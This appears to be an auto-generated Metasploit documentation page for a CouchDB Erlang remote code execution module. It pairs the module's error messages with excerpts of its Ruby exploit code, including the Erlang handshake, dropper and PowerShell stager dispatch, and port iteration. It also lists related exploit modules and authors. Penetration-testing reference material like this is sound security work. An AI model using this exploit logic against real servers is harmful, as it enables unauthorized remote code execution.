197: challenge_reply = "\x00\x15r\x01\x02\x03\x04"
Authentication was unsuccessful
Here is a relevant code snippet related to the "Authentication was unsuccessful" error message:
201: sock.put(challenge_reply)
202: sleep datastore['WfsDelay']
203: challenge_response = sock.get_once
204:
205: if challenge_response.nil?
206: print_error('Authentication was unsuccessful')
207: return
208: end
209: print_status('Erlang challenge and response completed successfully')
210:
211: sock
Error when connecting to Erlang Server: <E.CLASS> <E>
Here is a relevant code snippet related to the "Error when connecting to Erlang Server: <E.CLASS> <E>" error message:
208: end
209: print_status('Erlang challenge and response completed successfully')
210:
211: sock
212: rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
213: print_error("Error when connecting to Erlang Server: #{e.class} #{e} ")
214: disconnect
215: return
216: end
217:
218: def compile_cmd(cmd)
Invalid target specified
Here is a relevant code snippet related to the "Invalid target specified" error message:
239: when :linux_dropper, :win_dropper
240: execute_cmdstager({ sock: sock })
241: when :psh_stager
242: execute_command(cmd_psh_payload(payload.encoded, payload_instance.arch.first), { sock: sock })
243: else
244: fail_with(Failure::BadConfig, 'Invalid target specified')
245: end
246: end
247:
248: def exploit
249: # If the check method has already been run, use the vulnerable socket that has already been identified
This endpoint does not appear to expose any erlang ports
Here is a relevant code snippet related to the "This endpoint does not appear to expose any erlang ports" error message:
249: # If the check method has already been run, use the vulnerable socket that has already been identified
250: if @vulnerable_socket
251: exploit_socket(@vulnerable_socket)
252: else
253: erlang_ports = get_erlang_ports
254: fail_with(Failure::BadConfig, 'This endpoint does not appear to expose any erlang ports') unless erlang_ports.instance_of?(Array)
255:
256: erlang_ports.each do |erlang_port|
257: sock = connect_to_erlang_server(erlang_port.to_i)
258: next unless sock.instance_of?(Socket)
259:
Go back to menu.
Related Pull Requests
- #17225 Merged Pull Request: Update YARD documentation to use proper @return instead of @returns
- #17219 Merged Pull Request: Fix broken zabbix_login scanner regex for new versions
- #17220 Merged Pull Request: Fix pe inject payload crash
- #17196 Merged Pull Request: Msf::Post::Windows: Add Msf::Post::Windows::System mixin
- #17192 Merged Pull Request: Password Manager Pro password recovery post module
- #17213 Merged Pull Request: Update identify hash library and call
- #17207 Merged Pull Request: Add msfvenom / msfconsole support for Rust shellcode
- #17190 Merged Pull Request: Fix the Netapi32 bufptr data type
- #17174 Merged Pull Request: FLIR AX8 thermal camera unauthenticated RCE [CVE-2022-37061]
- #17142 Merged Pull Request: Apache CouchDB Erlang RCE module CVE-2022-24706
- #17168 Merged Pull Request: Add module for Webmin auth File Manager RCE (CVE-2022-0824)
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/couchdb/couchdb_enum
- auxiliary/scanner/couchdb/couchdb_login
- exploit/linux/http/apache_couchdb_cmd_exec
- exploit/multi/http/apache_activemq_upload_jsp
- exploit/multi/http/apache_apisix_api_default_token_rce
- exploit/multi/http/apache_flink_jar_upload_exec
- exploit/multi/http/apache_jetspeed_file_upload
- exploit/multi/http/apache_mod_cgi_bash_env_exec
- exploit/multi/http/apache_nifi_processor_rce
- exploit/multi/http/apache_normalize_path_rce
- exploit/multi/http/apache_roller_ognl_injection
- auxiliary/dos/http/apache_commons_fileupload_dos
- auxiliary/dos/http/apache_mod_isapi
- auxiliary/dos/http/apache_range_dos
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- auxiliary/gather/apache_rave_creds
- auxiliary/scanner/http/apache_activemq_source_disclosure
- auxiliary/scanner/http/apache_activemq_traversal
- auxiliary/scanner/http/apache_flink_jobmanager_traversal
- auxiliary/scanner/http/apache_mod_cgi_bash_env
- auxiliary/scanner/http/apache_normalize_path
- auxiliary/scanner/http/apache_optionsbleed
- auxiliary/scanner/http/apache_userdir_enum
- auxiliary/scanner/ssh/apache_karaf_command_execution
- exploit/linux/http/apache_continuum_cmd_exec
- exploit/linux/http/apache_druid_js_rce
- exploit/linux/http/apache_ofbiz_deserialization
- exploit/linux/http/apache_ofbiz_deserialization_soap
- exploit/linux/http/apache_spark_rce_cve_2022_33891
- exploit/linux/smtp/apache_james_exec
- exploit/windows/http/apache_activemq_traversal_upload
- exploit/windows/http/apache_chunked
- exploit/windows/http/apache_modjk_overflow
- exploit/windows/http/apache_mod_rewrite_ldap
- exploit/windows/http/apache_tika_jp2_jscript
- exploit/windows/http/php_apache_request_headers_bof
- auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key
Authors
- Milton Valencia (wetw0rk)
- 1F98D
- Konstantin Burov
- _sadshade
- jheysel-r7
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.